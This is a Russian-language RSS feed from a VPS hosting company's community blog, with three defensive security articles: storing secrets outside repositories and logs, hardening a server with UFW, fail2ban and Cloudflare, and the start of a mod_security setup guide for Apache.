<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Безопасность &#8211; Community</title>
	<atom:link href="https://cloudvps.by/community/category/bezopasnost/feed/" rel="self" type="application/rss+xml" />
	<link>https://cloudvps.by/community</link>
	<description></description>
	<lastBuildDate>Mon, 29 Dec 2025 07:29:39 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
	<item>
		<title>Секреты и переменные окружения на белорусском VPS: как хранить ключи API, токены и пароли без утечек</title>
		<link>https://cloudvps.by/community/sekrety-i-peremennye-okruzheniya-na-belorusskom-vps-kak-hranit-klyuchi-api-tokeny-i-paroli-bez-utechek/</link>
					<comments>https://cloudvps.by/community/sekrety-i-peremennye-okruzheniya-na-belorusskom-vps-kak-hranit-klyuchi-api-tokeny-i-paroli-bez-utechek/#respond</comments>
		
		<dc:creator><![CDATA[Юлия Розенко]]></dc:creator>
		<pubDate>Fri, 28 Nov 2025 06:00:00 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[Данные]]></category>
		<category><![CDATA[Доступы]]></category>
		<category><![CDATA[Пароли]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4546</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sekrety-i-peremennye-okruzheniya-na-belorusskom-vps-kak-hranit-klyuchi-api-tokeny-i-paroli-bez-utechek/">Секреты и переменные окружения на белорусском VPS: как хранить ключи API, токены и пароли без утечек</a>">%POSTTITLE%</a></p>
<p>Если секреты лежат рядом с кодом, вопрос не в том, утекут ли они, а в том — когда и через какой канал. Репозиторий, логи, бекапы, дампы, CI-скрипты, история команд — у продакшена слишком много «щелей», через которые данные утекают незаметно и буднично. Что мы называем секретами и почему они утекают Под секретами обычно понимают пароли [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sekrety-i-peremennye-okruzheniya-na-belorusskom-vps-kak-hranit-klyuchi-api-tokeny-i-paroli-bez-utechek/">Секреты и переменные окружения на белорусском VPS: как хранить ключи API, токены и пароли без утечек</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Если секреты лежат рядом с кодом, вопрос не в том, утекут ли они, а в том — когда и через какой канал. Репозиторий, логи, бекапы, дампы, <a href="https://cloudvps.by/community/docs/glossarij/terminy/continuous-integration/" data-internallinksmanager029f6b8e52c="369" title="Continuous Integration (CI)">CI</a>-скрипты, история команд — у продакшена слишком много «щелей», через которые данные утекают незаметно и буднично.</p>



<h2 class="wp-block-heading">Что мы называем секретами и почему они утекают</h2>



<p class="wp-block-paragraph">Под секретами обычно понимают пароли к базам данных, ключи <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>, <a href="https://cloudvps.by/community/docs/glossarij/terminy/token-based-authentication/" data-internallinksmanager029f6b8e52c="311" title="Token-based Authentication">токены</a> доступа, SMTP-пароли, приватные ключи, DSN-строки и любые данные, которые дают доступ к ресурсам без дополнительной проверки.</p>



<p class="wp-block-paragraph">Проблема в том, что утечки почти никогда не происходят из-за «хакерской магии». Чаще всего секреты утекают потому, что их:</p>



<ul class="wp-block-list">
<li>закоммитили в репозиторий «временно»;</li>



<li>вывели в логи для отладки и забыли убрать;</li>



<li>положили в конфиг с правами чтения для всех;</li>



<li>сохранили в бекап без шифрования;</li>



<li>передали через CI и не ограничили доступ.</li>
</ul>



<p class="wp-block-paragraph">Почти всегда это следствие отсутствия процесса, а не ошибки одного человека.</p>



<h2 class="wp-block-heading">Базовые принципы, которые экономят нервы</h2>



<p class="wp-block-paragraph">Прежде чем переходить к конкретным инструментам и настройкам, стоит зафиксировать несколько базовых правил. Они не зависят от используемого стека, фреймворка или размера проекта и работают одинаково хорошо и для небольшого сайта, и для сложного сервиса.</p>



<p class="wp-block-paragraph">Секреты не должны храниться в репозитории — ни в открытом, ни в закрытом. История коммитов живёт дольше людей и проектов, а удалённый файл почти всегда можно восстановить. Даже если доступ к репозиторию ограничен, это не делает секреты безопасными.</p>



<p class="wp-block-paragraph">У каждого сервиса должны быть свои собственные секреты. Один универсальный токен «на всё» удобен только до первого инцидента. После этого компрометация одного компонента быстро превращается в цепную реакцию и затрагивает весь проект.</p>



<p class="wp-block-paragraph">Доступ к секретам должен быть минимальным и осмысленным. Сервису не нужен <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a>, а разработчику не требуется постоянный доступ к продакшен-ключам «на всякий случай». Чем уже круг доступа, тем проще контролировать риски и разбирать инциденты.</p>



<p class="wp-block-paragraph">Ротация секретов должна быть заранее продуманным процессом, а не аварийной операцией. Если смена ключей каждый раз вызывает стресс, ночные правки и страх что-то сломать, значит сама схема хранения и передачи секретов выбрана неудачно и нуждается в упрощении.</p>



<h2 class="wp-block-heading">Доступы и роли на сервере</h2>



<p class="wp-block-paragraph">Без понятной модели доступов разговор о секретах быстро теряет смысл. Если на сервере все сервисы работают под одним пользователем и имеют доступ ко всем конфигам, никакое «правильное» хранение ключей не спасёт от утечек.</p>



<p class="wp-block-paragraph">Хорошая практика — выделять отдельного системного пользователя для каждого сервиса. Это позволяет ограничить доступ к файлам с секретами на уровне операционной системы, а не «по договорённости». В таком случае компрометация одного сервиса не даёт злоумышленнику автоматического доступа к ключам другого.</p>



<p class="wp-block-paragraph">Файлы с секретами должны читаться только тем пользователем, под которым запущен конкретный сервис. Групповое чтение и права «для всех» выглядят безобидно, особенно если сервер «закрыт от внешнего мира», но именно такие послабления чаще всего становятся причиной цепных инцидентов.</p>



<p class="wp-block-paragraph">Подобный подход нередко кажется избыточным и неудобным, пока не случается первый реальный инцидент. После него разделение доступов перестаёт восприниматься как формальность и становится очевидной необходимостью.</p>



<h2 class="wp-block-heading">Где хранить секреты на VPS</h2>



<p class="wp-block-paragraph">Для большинства проектов не нужны сложные внешние хранилища. Чаще всего хватает аккуратно организованных файлов окружения.</p>



<p class="wp-block-paragraph">Самый рабочий вариант — отдельный файл с переменными окружения, который:</p>



<ul class="wp-block-list">
<li>не попадает в репозиторий;</li>



<li>лежит вне директории с кодом;</li>



<li>имеет строгие права доступа;</li>



<li>подключается при запуске сервиса.</li>
</ul>



<p class="wp-block-paragraph">Важно не столько место хранения, сколько дисциплина вокруг него.</p>



<p class="wp-block-paragraph">Если приложение использует конфиги, в них не должно быть самих секретов. Вместо этого используются ссылки на переменные окружения. Конфиг становится шаблоном, а реальные значения подставляются при запуске.</p>



<p class="wp-block-paragraph">Для одного <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> централизованные хранилища секретов чаще всего оказываются избыточными: они добавляют сложность в настройке и сопровождении, не давая заметных преимуществ по сравнению с аккуратно организованными файлами окружения.</p>



<h2 class="wp-block-heading">Передача секретов в systemd</h2>



<p class="wp-block-paragraph">Systemd — один из самых удобных и безопасных способов работы с секретами на VPS, если использовать его осознанно. В основе подхода лежит простая идея: секреты хранятся в отдельном файле окружения, который доступен только нужному пользователю, а systemd подхватывает эти значения при запуске сервиса.</p>



<p class="wp-block-paragraph">При такой схеме важно контролировать два момента. Во-первых, файл с секретами не должен читаться другими пользователями на сервере. Во-вторых, сами значения не должны «всплывать» в статусе сервиса, логах или отладочных командах, которые часто смотрят при диагностике проблем.</p>



<p class="wp-block-paragraph">Обновление секретов в этом случае сводится к аккуратной правке одного файла и перезапуску сервиса. Код приложения при этом не меняется, пересборка не требуется, а риск случайно засветить чувствительные данные остаётся минимальным.</p>



<h2 class="wp-block-heading">Секреты в Docker без утечек</h2>



<p class="wp-block-paragraph"><a href="https://cloudvps.by/community/docs/glossarij/terminy/docker/" data-internallinksmanager029f6b8e52c="258" title="Docker">Docker</a> часто становится источником проблем не потому, что он небезопасен, а потому что его используют неаккуратно.</p>



<p class="wp-block-paragraph">Основная ошибка — хранить секреты прямо в compose-файле или передавать их через командную строку. В таком виде они легко оказываются в логах, инспектах и истории команд.</p>



<p class="wp-block-paragraph">Рабочая схема та же, что и без Docker: секреты живут в файле окружения вне репозитория и монтируются или подхватываются контейнером при запуске. Контейнер знает значения, но не хранит их внутри образа.</p>



<p class="wp-block-paragraph">Отдельное внимание стоит уделять логам и отладке. Инспект контейнера, дампы окружения и verbose-логи часто раскрывают больше, чем кажется. Если сервис пишет токены в лог «для удобства», никакая схема хранения не спасёт.</p>



<h2 class="wp-block-heading">Репозиторий и деплой: где чаще всего ломается безопасность</h2>



<p class="wp-block-paragraph">Даже если секреты правильно хранятся на сервере, утечки часто происходят на более раннем этапе — во время разработки и деплоя. Именно здесь чаще всего появляются временные решения, которые потом незаметно становятся постоянными.</p>



<p class="wp-block-paragraph">В репозитории должны находиться только примеры конфигурационных файлов без реальных значений. Настоящие файлы окружения не коммитятся никогда, даже «на минуту» и даже в закрытый репозиторий. История версий и резервные копии помнят такие вещи гораздо дольше, чем кажется.</p>



<p class="wp-block-paragraph">Закрытый репозиторий сам по себе не делает секреты безопасными. Доступы со временем меняются, репозитории форкаются, а архивы и бекапы продолжают жить своей жизнью независимо от текущих правил доступа.</p>



<p class="wp-block-paragraph">Поэтому деплой стоит выстраивать так, чтобы код и секреты попадали на сервер разными путями. Код доставляется через Git или CI, а секреты настраиваются уже на самом сервере через конфигурацию окружения. Такой подход снижает риск утечек и делает процесс более управляемым.</p>



<h2 class="wp-block-heading">Логи, дампы и бекапы — тихие источники утечек</h2>



<p class="wp-block-paragraph">Даже если секреты не лежат в коде и не попадают в репозиторий, они нередко утекают через вторичные каналы, о которых вспоминают в последнюю очередь. Именно такие утечки сложнее всего заметить, потому что формально «всё сделано правильно».</p>



<p class="wp-block-paragraph">Логи приложений не должны содержать токены, пароли и заголовки авторизации. Это особенно критично для API и ботов, где запросы часто логируются целиком ради отладки. Один verbose-режим, забытый в продакшене, способен превратить логи в полноценное хранилище секретов.</p>



<p class="wp-block-paragraph">Дампы баз данных и отладочные файлы тоже требуют дисциплины. Они должны храниться ограниченное время, иметь понятные права доступа и не лежать в общедоступных каталогах. В противном случае временный файл легко становится постоянным источником риска.</p>



<p class="wp-block-paragraph">Бекапы — отдельная тема и отдельная зона ответственности. Если в резервных копиях присутствуют секреты, они должны быть защищены не слабее, чем сам сервер. Иначе компрометация бекапа фактически означает компрометацию всего продакшена, только с задержкой во времени.</p>



<h2 class="wp-block-heading">Быстрая ротация при подозрении на компрометацию</h2>



<p class="wp-block-paragraph">Ротация — это не «наказание», а штатная операция.</p>



<p class="wp-block-paragraph">Если есть подозрение, что ключ утёк, важно не искать виноватых, а действовать по плану. Сначала выпускаются новые ключи, затем сервисы переключаются на них, и только после этого старые значения отзываются.</p>



<p class="wp-block-paragraph">Хорошая схема хранения позволяет сделать это без простоя и без экстренных правок кода. Если ротация превращается в ночной марафон, значит процесс нужно упрощать.</p>



<h2 class="wp-block-heading">Короткий чек-лист перед продакшеном</h2>



<p class="wp-block-paragraph">Перед запуском или аудитом полезно пройтись по нескольким вопросам:</p>



<ul class="wp-block-list">
<li>есть ли секреты вне репозитория;</li>



<li>ограничены ли права на файлы окружения;</li>



<li>используются ли отдельные пользователи для сервисов;</li>



<li>не пишутся ли секреты в логи;</li>



<li>понятен ли процесс ротации.</li>
</ul>



<p class="wp-block-paragraph">Если на все вопросы есть спокойный ответ, риск утечек резко снижается.</p>



<h2 class="wp-block-heading">Итог</h2>



<p class="wp-block-paragraph">Когда доступы разделены, хранение понятно, а ротация не пугает, безопасность перестаёт быть абстрактной темой и становится частью повседневной эксплуатации. На белорусском <a href="https://cloudvps.by/servers/vps/vps_server.php">VPS</a> для этого не нужны сложные решения — достаточно аккуратной архитектуры и дисциплины.</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/sekrety-i-peremennye-okruzheniya-na-belorusskom-vps-kak-hranit-klyuchi-api-tokeny-i-paroli-bez-utechek/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Как защитить белорусский VPS от DDoS и брутфорса: пошаговая настройка fail2ban, UFW и Cloudflare</title>
		<link>https://cloudvps.by/community/kak-zashhitit-belorusskij-vps-ot-ddos-i-brutforsa-poshagovaya-nastrojka-fail2ban-ufw-i-cloudflare/</link>
					<comments>https://cloudvps.by/community/kak-zashhitit-belorusskij-vps-ot-ddos-i-brutforsa-poshagovaya-nastrojka-fail2ban-ufw-i-cloudflare/#respond</comments>
		
		<dc:creator><![CDATA[Юлия Розенко]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 06:00:00 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4456</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-zashhitit-belorusskij-vps-ot-ddos-i-brutforsa-poshagovaya-nastrojka-fail2ban-ufw-i-cloudflare/">Как защитить белорусский VPS от DDoS и брутфорса: пошаговая настройка fail2ban, UFW и Cloudflare</a>">%POSTTITLE%</a></p>
<p>Современный Интернет полон невидимых угроз. Владельцы VPS-серверов в Беларуси не понаслышке знают, что даже небольшой проект может внезапно оказаться под ударом DDoS-атаки или стать мишенью для брутфорса. Резкий всплеск трафика способен положить сайт, а бесчисленные попытки подобрать пароль могут заблокировать доступ к вашему серверу. В материале рассказали, как шаг за шагом настроить многоуровневую защиту для [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/kak-zashhitit-belorusskij-vps-ot-ddos-i-brutforsa-poshagovaya-nastrojka-fail2ban-ufw-i-cloudflare/">Как защитить белорусский VPS от DDoS и брутфорса: пошаговая настройка fail2ban, UFW и Cloudflare</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Современный Интернет полон невидимых угроз. Владельцы <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>-серверов в Беларуси не понаслышке знают, что даже небольшой проект может внезапно оказаться под ударом DDoS-атаки или стать мишенью для брутфорса. Резкий всплеск трафика способен положить сайт, а бесчисленные попытки подобрать пароль могут заблокировать доступ к вашему серверу.</p>



<p class="wp-block-paragraph">В материале рассказали, как шаг за шагом настроить многоуровневую защиту для своего белорусского VPS от DDoS-атак и атак методом перебора паролей. Вы узнаете, как с умом использовать <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">брандмауэр</a> UFW, инструмент Fail2ban и возможности <a href="https://cloudvps.by/community/docs/glossarij/terminy/cloudflare/" data-internallinksmanager029f6b8e52c="320" title="Cloudflare">Cloudflare</a>, чтобы спать спокойно и не бояться внезапных атак.</p>



<h2 class="wp-block-heading">Настройка брандмауэра UFW</h2>



<p class="wp-block-paragraph">Uncomplicated Firewall (UFW) — это удобный инструмент управления iptables, который предустановлен в Ubuntu и других дистрибутивах. UFW позволяет закрыть все лишние двери (порты) и открыть только те, которые нужны. Тем самым вы сузите поверхность атаки: внешнему миру будет видно лишь несколько разрешённых портов, а всё остальное будет наглухо закрыто. По сути, UFW — это ваш личный охранник на входе, который пускает только тех, кого вы сами добавили в список, а остальных разворачивает.</p>



<p class="wp-block-paragraph">Для начала нужно включить UFW и открыть нужное. По умолчанию UFW может быть отключён, поэтому сначала активируйте его. Выполните на сервере команду:</p>



<pre class="wp-block-code"><code>sudo ufw enable</code></pre>



<p class="wp-block-paragraph">Сразу задайте политику по умолчанию. Запретите все входящие соединения и разрешите исходящие, чтобы сервер сам мог устанавливать соединения, например, для обновлений:</p>



<pre class="wp-block-code"><code>sudo ufw default deny incoming&nbsp;<br>sudo ufw default allow outgoing</code></pre>



<p class="wp-block-paragraph">Теперь откройте необходимые порты. Минимум, который нужен почти всем, <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a> для удалённого доступа. Как правило, SSH работает на порту 22, если вы не меняли <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a>. Разрешите его:</p>



<pre class="wp-block-code"><code>sudo ufw allow 22/<a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">tcp</a></code></pre>



<p class="wp-block-paragraph">Если ваш сервер используется как веб-сервер, откройте порты HTTP и <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">HTTPS</a>:</p>



<pre class="wp-block-code"><code>sudo ufw allow 80/tcp&nbsp;<br>sudo ufw allow 443/tcp</code></pre>



<p class="wp-block-paragraph">Ограничьте скорость подключений. Для дополнительной защиты SSH можно использовать специальное правило <strong>limit</strong>, которое есть в UFW. Оно принимает несколько подключений, но если с одного <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a> их слишком много за короткое время, дальнейшие попытки блокируются. Это полезно против брутфорса на уровне сети. Введите команду:</p>



<pre class="wp-block-code"><code>sudo ufw limit 22/tcp</code></pre>



<h2 class="wp-block-heading">Установка и настройка Fail2ban</h2>



<p class="wp-block-paragraph">Если UFW — ваш сторож на воротах, то Fail2ban — охрана внутри здания. Он постоянно читает журналы (логи) на сервере и высматривает подозрительные признаки, например, множество ошибок входа. Обнаружив такое, Fail2ban тут же временно блокирует IP-адрес нарушителя через файрвол. Происходит это автоматически и без вашего участия.</p>



<p class="wp-block-paragraph">В Ubuntu установить Fail2ban очень просто:</p>



<pre class="wp-block-code"><code>sudo apt update&nbsp;<br>sudo apt install fail2ban</code></pre>



<p class="wp-block-paragraph">Сервис запустится сразу после установки. Но по умолчанию никакие правила блокировки не активны, нужно включить и настроить их вручную.</p>



<p class="wp-block-paragraph">Создайте конфигурационный файл <strong>/etc/fail2ban/jail.local</strong>, чтобы не менять оригинальный <strong>jail.conf</strong>. Добавьте туда секцию для защиты SSH:</p>



<pre class="wp-block-code"><code>&#91;sshd]&nbsp;<br>enabled = true&nbsp;<br>port = 22&nbsp;<br>logpath = %(sshd_log)s&nbsp;<br>backend = systemd&nbsp;<br>bantime = 1h&nbsp;<br>findtime = 10m&nbsp;<br>maxretry = 5 &nbsp;</code></pre>



<p class="wp-block-paragraph">Эта настройка означает: если за 10 минут с одного IP случится 5 неудачных попыток подключения по SSH, то этот IP банится на 1 час. Параметр <strong>backend = systemd</strong> мы указали, потому что в Ubuntu журналы SSH ведутся через <strong>systemd</strong>, Fail2ban сможет их читать.</p>



<p class="wp-block-paragraph">Сохраните файл и перезапустите Fail2ban:</p>



<pre class="wp-block-code"><code>sudo systemctl restart fail2ban</code></pre>



<p class="wp-block-paragraph">Проверка работы. Выполните:</p>



<pre class="wp-block-code"><code>sudo fail2ban-client status sshd</code></pre>



<p class="wp-block-paragraph">Вы увидите, что <strong>jail </strong>для SSH активен, и, скорее всего, пока 0 заблокированных IP. Попробуйте несколько раз ввести неверный пароль SSH с другого компьютера. После пятой ошибки Fail2ban добавит ваш тестовый IP в бан-лист. Убедиться можно той же командой <strong>status</strong>. Нарушитель отключён, сервер защищён.</p>



<p class="wp-block-paragraph">Если хотите, чтобы Fail2ban использовал UFW при блокировке, добавьте в настройках <strong>[sshd]</strong> строку <strong>action = ufw</strong>. Тогда Fail2ban станет прописывать блокировки через <strong>ufw deny</strong>, а у вас вся картина будет видна через <strong>ufw status</strong>.</p>



<p class="wp-block-paragraph">На данном этапе ваш VPS уже имеет два уровня защиты. UFW сдерживает атаки на сетевом периметре, а Fail2ban ловит тех, кто смог просочиться к попыткам авторизации, и безжалостно банит их. Многие администраторы на этом останавливаются, и для небольших проектов этого часто достаточно. Но DDoS — это зверь посерьёзнее. Если злоумышленник обрушит на ваш сервер гигантский поток запросов, один брандмауэр может не справиться, просто ресурсов не хватит обработать и отфильтровать такой вал. Что ж, пригласим на помощь тяжёлую артиллерию, внешнюю облачную защиту.</p>



<h2 class="wp-block-heading">Подключение Cloudflare</h2>



<p class="wp-block-paragraph">Cloudflare — сервис, который выступает посредником между пользователями и вашим <a href="https://cloudvps.by/servers/vps/vps_server.php">VPS</a>. При нормальной работе Cloudflare ускоряет загрузку сайта за счёт кеширования, но когда начинается атака, он превращается в непробиваемый щит, отсекая лишние запросы и не давая серверу упасть.</p>



<p class="wp-block-paragraph">Схематично: без защиты армия ботов (красный поток) перегружает сервер, и легитимные пользователи (зелёные) не могут пробиться. Cloudflare берёт эту нагрузку на себя, защищая сервер.</p>



<p class="wp-block-paragraph">Cloudflare становится промежуточным звеном. Вы переводите <a href="https://cloudvps.by/community/docs/glossarij/terminy/dns/" data-internallinksmanager029f6b8e52c="199" title="DNS (Domain Name System)">DNS</a> вашего сайта на серверы Cloudflare, и всё обращение идёт через них. Реальный IP вашего VPS скрывается, злоумышленникам гораздо труднее нанести прямой удар.</p>



<p class="wp-block-paragraph">Чтобы подключить, зарегистрируетесь на сайте Cloudflare, добавьте свой домен и поменяйте у регистратора DNS-серверы на указанные Cloudflare. Через несколько часов, после обновления DNS, весь трафик начнёт идти через облачную сеть. Убедитесь, что в панели Cloudflare проксирование включено (оранжевый значок облака) для ваших основных DNS-записей, тогда сервис реально стоит между вашим сайтом и Интернетом.</p>



<p class="wp-block-paragraph">Cloudflare автоматически фильтрует большинство типичных DDoS-атак. При резком наплыве запросов сервис может включить промежуточную страницу проверки (режим I&#8217;m Under Attack), заставляя ботов раскрыть себя. Вы тоже можете вручную включить этот режим в панели, если заметили атаку.</p>



<p class="wp-block-paragraph">На бесплатном тарифе доступен базовый <a href="https://cloudvps.by/community/docs/glossarij/terminy/waf/" data-internallinksmanager029f6b8e52c="305" title="WAF (Web Application Firewall)">WAF</a> (Web Application Firewall), ещё один уровень фильтрации веб-запросов, защищающий от распространённых угроз. Для большинства мелких проектов этого более чем достаточно.</p>



<p class="wp-block-paragraph">Помимо обороны, Cloudflare кеширует статические файлы вашего сайта на своих узлах по всему миру. Это ускоряет загрузку для пользователей, так как ближайший <a href="https://cloudvps.by/community/docs/glossarij/terminy/node-v-kubernetes/" data-internallinksmanager029f6b8e52c="349" title="Node (в Kubernetes)">узел</a> отвечает быстрее, и разгружает ваш VPS, ему не нужно каждый раз отдавать одно и то же содержимое. При всплеске трафика кеш особенно помогает. Значительная часть запросов обслуживается облаком и не доходит до сервера.</p>



<p class="wp-block-paragraph">Важно! Никогда не раскрывайте реальный IP сервера. Удалите или закройте любые DNS-записи, ведущие напрямую на ваш VPS, чтобы весь трафик шёл только через Cloudflare. При желании можно даже настроить UFW так, чтобы принимать соединения на веб-порты только от облачных узлов Cloudflare, и тогда никто не обойдёт защиту напрямую.</p>



<p class="wp-block-paragraph">Отдельно отметим: с 2025 года Cloudflare частично блокируется в России на уровне некоторых провайдеров. Если ваш проект рассчитан на аудиторию РФ, нужно учитывать этот риск, возможно, потребуется альтернативное решение на случай полной недоступности Cloudflare в том регионе.</p>



<p class="wp-block-paragraph">После подключения Cloudflare ваша архитектура защиты станет многоуровневой: сначала трафик встречает облачный фильтр, отсеивая массовый мусор; затем на сервере UFW принимает только фильтрованное подключение; и, наконец, Fail2ban следит за поведением в реальном времени и выбивает нарушителей. Такой тройной барьер по силам пробить разве что самым упорным и мощным атакующим, но им-то скорее интересны жирные цели, а не ваш проект. С большой долей вероятности, увидев, что вы под защитой, злоумышленники просто переключатся на кого-то полегче.</p>



<h2 class="wp-block-heading">Заключение</h2>



<p class="wp-block-paragraph">Теперь ваш белорусский VPS уже не так-то просто свалить с ног. Конечно, стопроцентной гарантии безопасности не существует, мир кибератак развивается, и важно не стоять на месте. Но вы выстроили крепкий фундамент, который отпугнёт случайных бродяг и выдержит значительную бурю.</p>



<p class="wp-block-paragraph">Защита сервера — это ещё и полезный опыт. Сегодня вы настроили Fail2ban и UFW для своего проекта, а завтра эти навыки могут пригодиться по работе. Кстати, в индустрии ценятся специалисты, умеющие защищать инфраструктуру. Многие компании в России и СНГ прямо указывают в вакансиях требования: умение настроить UFW, работу с Fail2ban, понимание <a href="https://cloudvps.by/community/docs/glossarij/terminy/cdn/" data-internallinksmanager029f6b8e52c="212" title="CDN (Content Delivery Network)">CDN</a> и Cloudflare. Так что, укрепляя свой сервер, вы параллельно прокачиваете резюме.</p>



<p class="wp-block-paragraph">Не забывайте обновлять систему, заглядывать в логи и держать руку на пульсе. Заметим, что всё настроенное нами ПО бесплатное. За защиту, сравнимую по эффективности с дорогостоящими коммерческими решениями, вы не заплатили ни рубля. Это особенно приятно, когда бюджет проекта ограничен.</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/kak-zashhitit-belorusskij-vps-ot-ddos-i-brutforsa-poshagovaya-nastrojka-fail2ban-ufw-i-cloudflare/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка mod_security для Apache на VPS</title>
		<link>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Fri, 19 Sep 2025 11:28:57 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4391</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/">Настройка mod_security для Apache на VPS</a>">%POSTTITLE%</a></p>
<p>Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это mod_security. Расскажу, как я настраивала его на Apache на своём VPS и что из этого получилось. Что такое mod_security и зачем он нужен? mod_security — это [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/">Настройка mod_security для Apache на VPS</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это <strong>mod_security</strong>. Расскажу, как я настраивала его на Apache на своём <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> и что из этого получилось.</p>



<h2 class="wp-block-heading">Что такое mod_security и зачем он нужен?</h2>



<p class="wp-block-paragraph"><strong>mod_security</strong> — это веб-аппликационный <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a> (<a href="https://cloudvps.by/community/docs/glossarij/terminy/waf/" data-internallinksmanager029f6b8e52c="305" title="WAF (Web Application Firewall)">WAF</a>), который работает в связке с веб-сервером Apache (или Nginx, но там немного сложнее). Он перехватывает HTTP-запросы до того, как они попадают к вашему приложению. Например, кто-то решил проверить, есть ли у вас уязвимости SQL-инъекций — mod_security может «поймать» такой запрос и заблокировать его.</p>



<p class="wp-block-paragraph">Это не серебряная пуля, но для старта — очень достойный уровень защиты. Особенно если вы хостите WordPress, Laravel, Bitrix или любое другое приложение, которое часто становится целью ботов и сканеров.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка mod_security на VPS с Apache</h2>



<p class="wp-block-paragraph">Я использую <strong>Ubuntu 22.04 LTS</strong>. Установка — дело двух команд:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install libapache2-mod-security2 -y
</code></pre>



<p class="wp-block-paragraph">После установки модуль автоматически активируется, но работает в <strong>режиме обнаружения</strong> (<em>Detection Only</em>) — то есть он пишет в лог, но не блокирует. Это хорошо на старте, чтобы не забанить случайно половину легитимных пользователей.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Перевод в режим блокировки (On)</h2>



<p class="wp-block-paragraph">Открываем основной конфиг:</p>



